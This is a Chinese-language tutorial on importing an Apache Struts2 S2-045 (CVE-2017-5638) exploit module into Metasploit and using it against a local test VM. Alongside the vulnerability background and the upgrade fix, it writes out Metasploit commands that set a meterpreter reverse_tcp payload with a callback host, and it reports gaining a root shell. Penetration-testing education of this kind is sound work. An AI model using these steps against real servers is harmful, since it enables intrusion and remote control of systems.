metasploit之移植S2-045漏洞代码模块实战提权

简介: 本文讲的是metasploit之移植S2-045漏洞代码模块实战提权,2017年3月的某一天,国家信息安全漏洞库(CNNVD)收到杭州安恒信息技术有限公司(CNNVD一级技术支撑单位)关于Apache Struts2 (S2-045)远程代码执行漏洞(CNNVD-201703-152)的情况报送。
本文讲的是 metasploit之移植S2-045漏洞代码模块实战提权2017年3月的某一天,国家信息安全漏洞库(CNNVD)收到杭州安恒信息技术有限公司(CNNVD一级技术支撑单位)关于Apache Struts2 (S2-045)远程代码执行漏洞(CNNVD-201703-152)的情况报送。由于该漏洞影响范围广,危害级别高,利用POC更是迅速在网上爆出,一瞬间网络上烽烟四起,血流成河。

0×01 Apache Struts2(S2-045)漏洞简介

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架,主要提供两个版本框架产品:Struts 1和Struts 2。Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。

Apache Struts 2.3.5 – 2.3.31版本及2.5 – 2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152,CVE-2017-5638)。该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息。导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令。

0×02 S2-045漏洞的原理

1、基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
2、恶意攻击者精心构造Content-Type的值
3、通过版本比对定位漏洞原因

coresrcmainjavaorgapachestruts2dispatchermultipartMultiPartRequestWrapper.java
 coresrcmainjavaorgapachestruts2dispatchermultipartJakartaMultiPartRequest.java
 coresrcmainjavaorgapachestruts2dispatchermultipartJakartaStreamMultiPartRequest.java

0×03 S2-045漏洞的危害及修复措施

攻击者可通过发送恶意构造的HTTP数据包利用该漏洞,在受影响服务器上执行系统命令,进一步可完全控制该服务器,造成拒绝服务、数据泄露、网站造篡改等影响。由于该漏洞利用无需任何前置条件(如开启dmi,debug等功能)以及启用任何插件,因此漏洞危害较为严重。

受影响用户可升级版本至Apache Struts 2.3.32或Apache Struts 2.5.10.1以消除漏洞影响。

官方公告:

https://cwiki.apache.org/confluence/display/WW/S2-045?from=groupmessage&isappinstalled=0

0×04移植S2-045漏洞利用代码模块

Metasploit集合了大量的系统漏洞利用代码,但并不是拥有所有的漏洞代码,所以Metasploit有一个非常强大的功能,它允许使用者开发自己的漏洞模块,s2-045的漏洞利用模块Metasploit虽然还没有集成,但是网络上已经有相应的渗透模块了,这些模块可能是用各种语言编写的,比如perl、python等,Metasploit支持各种不同语言编写的模块移植到其框架中,通过这种机制可以将各种现存的模块软件移植成为与Metasploit兼容的渗透模块。

我们先在github下载S2-045漏洞利用ruby脚本,该脚本已经经过作者测试,可以直接使用,下载地址:https://github.com/rapid7/metasploit-framework/pull/8072,如下图所示。

metasploit之移植S2-045漏洞代码模块实战提权

把该code的内容COPY下来,保存为struts2_code_exec_jakarta.rb,然后把它放到KALI系统的/usr/share/metasploit-framework/modules/exploits/multi/http/下面。如下图所示。

了解漏洞利用代码模块存储的文件夹位置非常重要,有助于我们寻找不同模块所在位置,也有助于Metasploit框架理解模块的基本用法。完整的模块脚本构建完成滞后,在合适的位置保存。

metasploit之移植S2-045漏洞代码模块实战提权

现在我们去MSF下面搜索struts2就可以搜到该脚本了,如下图所示。

metasploit之移植S2-045漏洞代码模块实战提权

0×05 Metasploit下S2-045漏洞提权实战利用

S2-045漏洞利用代码移植到Metasploit框架中后,我们就可以开始渗透测试了,关于怎么获取测试存在该漏洞的方法方法前面已经讲的很详细了,这里就不再重复了,此处我们用本地虚拟机搭建的平台来测试,存在漏洞的网址为127.0.0.1/memocreate.action。见下图。

metasploit之移植S2-045漏洞代码模块实战提权

启动Metasploit,使用该漏洞模块,并设置好相应payload,这里因为我的虚拟机是linux的,所以这里用linux的payload,接着查看下该模块具体参数,如下图所示。

use exploit/multi/http/struts2_code_exec_jakarta
set payload linux/x86/meterpreter/reverse_tcp
show options

metasploit之移植S2-045漏洞代码模块实战提权

这里我们输入如下命令按实际情况进行设置,见下图。

Set RHOST 127.0.0.1
set RPORT 80
Set TARGETURI /memocreate.action
Set LHOST 192.168.2.83
Run

metasploit之移植S2-045漏洞代码模块实战提权

攻击完成后,我们进入shell下可以看到,当前已经是root权限了,利用S2-045漏洞入侵已经成功。如下图所示。

metasploit之移植S2-045漏洞代码模块实战提权

TheEnd.




原文发布时间为:2017年4月13日
本文作者:shuteer
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
2月前
|
Python Windows 网络安全
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(二)
83 2
|
2月前
|
安全 Linux 网络安全
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
75 2
|
14天前
|
Linux Shell 网络安全
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
本指南介绍如何利用 HTA 文件和 Metasploit 框架进行渗透测试。通过创建反向 shell、生成 HTA 文件、设置 HTTP 服务器和发送文件,最终实现对目标系统的控制。适用于教育目的,需合法授权。
52 9
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
|
安全 Shell Windows
基于Metasploit利于msfvenom生成恶意软件获取shell
基于Metasploit利于msfvenom生成恶意软件获取shell
70 0
|
安全 测试技术 网络安全
如何使用Metasploit进行漏洞利用?
如何使用Metasploit进行漏洞利用?
234 0
|
安全 关系型数据库 MySQL
Metasploit渗透测试(框架介绍、靶机安装、基本使用方法)
Metasploit渗透测试(框架介绍、靶机安装、基本使用方法)
Metasploit渗透测试(框架介绍、靶机安装、基本使用方法)
|
安全 测试技术 Windows
内网大杀器!Metasploit移植MS17-010漏洞代码模块利用
本文讲的是内网大杀器!Metasploit移植MS17-010漏洞代码模块利用,2017年4月,网络最为轰动的事件无疑是TheShadowBrokers放出一大批NSA(美国国家安全局)“方程式组织” (Equation Group)使用的极具破坏力的黑客工具
2382 0